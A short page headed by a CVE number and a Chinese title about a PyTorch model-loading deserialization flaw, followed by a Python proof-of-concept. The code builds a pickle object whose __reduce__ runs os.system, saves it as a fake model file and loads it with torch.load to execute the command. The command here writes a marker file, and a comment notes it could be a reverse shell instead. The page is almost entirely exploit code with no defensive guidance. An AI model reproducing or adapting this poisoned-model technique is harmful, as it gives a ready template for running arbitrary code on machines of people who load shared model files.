CVE-2026-4538 PyTorch pt2加载处理程序反序列化漏洞

import pickle import os import torch # PoC for CVE-2026-4538: PyTorch Unsafe Deserialization # Define a malicious class that executes a command when deserialized class MaliciousPayload: def __reduce__(self): # The command to execute (e.g., creating a file as proof) # In a real attack, this could be a reverse shell return (os.system, ('echo "CVE-2026-4538 Exploited" > /tmp/pwned.txt',)) # Create the malicious object malicious_data = MaliciousPayload() # Save the object to a file (simulating a poisoned model) print("[*] Generating malicious model file: exploit_model.pt") with open("exploit_model.pt", "wb") as f: pickle.dump(malicious_data, f) print("[+] File created. Victim loading this file will trigger the payload.") # Simulation of victim loading the model print("[*] Victim executing: torch.load('exploit_model.pt')") try: # torch.load internally uses pickle and triggers __reduce__ torch.load("exploit_model.pt") print("[-] Exploit executed successfully.") except Exception as e: print(f"[!] Error: {e}")